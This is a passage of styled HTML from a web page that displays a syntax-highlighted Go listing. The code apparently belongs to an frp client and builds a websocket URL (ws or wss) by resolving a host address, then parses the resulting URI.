0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> isSecure </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        ho </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> strings</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Split</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">addr</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;:&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        ip</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> err </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> net</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ResolveIPAddr</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;ip&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> ho</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span style="box-sizing: border-box;color: rgb(166, 89, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">0</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">])</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        ip_addr </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> ip</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">String</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">()</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;:&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> ho</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span style="box-sizing: border-box;color: rgb(166, 89, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">1</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> err </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">!=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">nil</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">nil</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> err</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        addr </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;wss://&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> ip_addr </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">FrpWebsocketPath</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">else</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        addr </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;ws://&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> addr </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">FrpWebsocketPath</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    uri</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> err </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> url</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Parse</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">addr</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> err </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">!=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">nil</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">nil</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> err</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><br/></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">var</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> origin </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">string</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> isSecure </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        ho </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> strings</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Split</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">uri</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Host</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;:&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        ip</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> err </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> net</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ResolveIPAddr</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;ip&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> ho</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span style="box-sizing: border-box;color: rgb(166, 89, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">0</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">])</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        ip_addr </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> ip</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 